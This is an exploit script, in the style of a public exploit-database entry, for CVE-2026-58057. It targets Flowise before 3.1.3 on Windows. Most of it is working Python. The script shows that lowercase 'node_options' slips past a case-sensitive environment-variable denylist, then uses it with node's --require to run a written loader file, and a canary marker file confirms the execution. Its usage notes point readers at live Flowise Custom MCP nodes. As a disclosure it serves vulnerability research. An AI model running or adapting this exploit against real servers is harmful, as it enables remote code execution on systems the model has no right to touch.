# Exploit Title:        Flowise  3.1.3 - arbitrary code execution
# CVE:                  CVE-2026-58057
# Date:                 2026-06-29
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://flowiseai.com
# Software Link:        https://github.com/FlowiseAI/Flowise
# Affected:             Flowise < 3.1.3 (Windows deployments)
# Tested on:            Windows + Flowise 3.1.2
# Category:             Remote Code Execution
# Platform:             Windows
# Exploit Type:         Authenticated
# CVSS:                 2.3 (Medium)
# Description:          On Windows, the Custom MCP stdio environment variable validation uses case-sensitive comparison. 
#                       Supplying "node_options" bypasses the NODE_OPTIONS denylist and allows arbitrary code execution via --require.
# Fixed in:             3.1.3 (switched to allow-list)
# Usage:
#   python3 exploit.py
#
# Examples:
#   python3 exploit.py
#   python3 exploit.py --marker C:\\Temp\\pwned.txt
#
# Notes:
#   • Requires authenticated access to configure Custom MCP node
#   • Only affects Windows deployments
#   • Demonstrates bypass + canary RCE
#
# How to Use
#
# Step 1: Run the PoC to validate the bypass
# Step 2: In Flowise, configure a Custom MCP node with "node_options" env var pointing to your loader

import argparse
import json
import os
import pathlib
import platform
import shutil
import subprocess
import sys
import tempfile

def flowise_style_validate(env):
    dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
    for key, value in env.items():
        if key in dangerous:
            raise ValueError(f"Environment variable {key!r} modification is not allowed")
        if "\x00" in key or "\x00" in str(value):
            raise ValueError("Environment variables cannot contain null bytes")

def normalized_validate(env):
    dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
    for key, value in env.items():
        if key.upper() in dangerous:
            raise ValueError(f"Environment variable {key!r} modification is not allowed")
        if "\x00" in key or "\x00" in str(value):
            raise ValueError("Environment variables cannot contain null bytes")

def run_node_canary(marker):
    node = shutil.which("node")
    if not node:
        return {"node_found": False, "canary_created": False}
    
    marker_path = pathlib.Path(marker).resolve()
    loader_path = marker_path.with_suffix(".loader.js")
    loader_path.write_text(
        "require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored - RCE achieved!')\n",
        encoding="utf-8",
    )
    
    env = os.environ.copy()
    env.pop("NODE_OPTIONS", None)
    env.pop("node_options", None)
    env["node_options"] = f"--require {loader_path}"
    env["FLOWISE_POC_MARKER"] = str(marker_path)
    
    if marker_path.exists():
        marker_path.unlink()
    
    completed = subprocess.run(
        [node, "-e", "process.exit(0)"],
        env=env,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )
    
    return {
        "node_found": True,
        "node": node,
        "returncode": completed.returncode,
        "stderr": completed.stderr.strip(),
        "marker": str(marker_path),
        "canary_created": marker_path.exists(),
        "canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "",
    }

def run(marker):
    exact_upper_blocked = False
    lower_variant_accepted = False
    normalized_blocks_lower = False
    
    try:
        flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"})
    except ValueError:
        exact_upper_blocked = True
    
    try:
        flowise_style_validate({"node_options": "--require accepted.js"})
        lower_variant_accepted = True
    except ValueError:
        lower_variant_accepted = False
    
    try:
        normalized_validate({"node_options": "--require accepted.js"})
    except ValueError:
        normalized_blocks_lower = True
    
    node_result = run_node_canary(marker)
    
    result = {
        "platform": platform.platform(),
        "windows": os.name == "nt",
        "flowise_style_exact_upper_blocked": exact_upper_blocked,
        "flowise_style_lower_variant_accepted": lower_variant_accepted,
        "normalized_validator_blocks_lower_variant": normalized_blocks_lower,
        "node_canary": node_result,
        "finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True),
    }
    
    print(json.dumps(result, indent=2))
    return 0 if result["finding_reproduced"] else 1

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

def main():
    banner()
    parser = argparse.ArgumentParser(description="CVE-2026-58057 PoC")
    parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt"))
    args = parser.parse_args()
    raise SystemExit(run(args.marker))

if __name__ == "__main__":
    main()